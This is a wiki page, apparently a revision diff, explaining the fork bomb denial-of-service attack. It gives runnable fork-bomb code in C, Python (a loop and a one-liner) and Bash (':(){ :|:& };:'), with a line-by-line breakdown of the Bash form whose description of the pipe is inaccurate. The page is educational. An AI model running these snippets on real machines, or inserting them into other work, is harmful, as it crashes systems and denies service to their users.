Fork bomb: Difference between revisions
(→Python) |
(→C) |
||
| Line 9: | Line 9: | ||
#include <unistd.h> | |||
int main(void) | |||
{ | |||
for(;;) | |||
fork(); | |||
return 0; | |||
} | |||
=== Python === | === Python === | ||
Revision as of 07:36, 21 May 2020
Summary
The Fork Bomb (also called rabbit virus or wabbit) is a memory exhausting Denial of Service (DoS) Attack. It depletes the memory of a machine by replicating itself exponentially until all memory is used up.
Implementation
Pseudo Code
C
#include <unistd.h>
int main(void)
{
for(;;)
fork();
return 0;
}
Python
import os while True: os.fork()
python -c 'while 1: __import__("os").fork()'
Unix Bash
:(){ :|:& };:
This short form can be deciphered like this
:() # Defines the following function ":"
{
: # Loads a copy of the function ":"
| # Redirects the Output that it is not seen in the shell
: # Loads a copy of the function ":"
& # Runs the programs as a background process
}
: # Runs the beforehand defined function ":"
References
[1] https://de.wikipedia.org/wiki/Forkbomb (german version for source code)
[2] https://en.wikipedia.org/wiki/Forkbomb
[3] https://www.geeksforgeeks.org/fork-system-call/
[4] IEEE: Exploring the Possibility of USB based Fork Bomb Attack on Windows Environment